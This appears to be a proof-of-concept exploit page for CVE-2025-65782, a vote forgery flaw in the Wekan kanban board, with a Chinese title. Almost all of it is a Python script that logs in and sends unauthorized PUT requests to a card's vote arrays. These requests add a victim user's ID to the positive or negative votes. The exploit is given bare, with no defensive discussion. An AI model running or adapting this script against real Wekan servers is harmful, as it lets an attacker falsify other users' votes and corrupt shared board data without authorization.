CVE-2025-65782 Wekan看板系统投票伪造漏洞

import requests import json # CVE-2025-65782 PoC - Wekan Vote Forgery # Target: Wekan instance up to version 18.15 TARGET_URL = "http://target-wekan-server.com" USERNAME = "attacker" PASSWORD = "password" BOARD_ID = "board_id" CARD_ID = "vulnerable_card_id" TARGET_USER_ID = "victim_user_id" def login(): """Authenticate and get session token""" session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(f"{TARGET_URL}/api/v1/login", json=login_data) return session, response.json().get("token") def forge_vote(session, token): """Forge vote by adding arbitrary user to vote.positive array""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload: add TARGET_USER_ID to vote.positive without authorization payload = { "boardId": BOARD_ID, "cardId": CARD_ID, "set": "votes", "update": { "vote": { "positive": [TARGET_USER_ID], "negative": [] } } } response = session.put( f"{TARGET_URL}/api/v1/boards/{BOARD_ID}/cards/{CARD_ID}", headers=headers, json=payload ) return response.status_code == 200 def remove_vote(session, token): """Remove victim's vote by modifying vote arrays""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "boardId": BOARD_ID, "cardId": CARD_ID, "set": "votes", "update": { "vote": { "positive": [], "negative": [TARGET_USER_ID] } } } response = session.put( f"{TARGET_URL}/api/v1/boards/{BOARD_ID}/cards/{CARD_ID}", headers=headers, json=payload ) return response.status_code == 200 if __name__ == "__main__": session, token = login() if forge_vote(session, token): print("[+] Vote forgery successful - user added to vote.positive") else: print("[-] Vote forgery failed")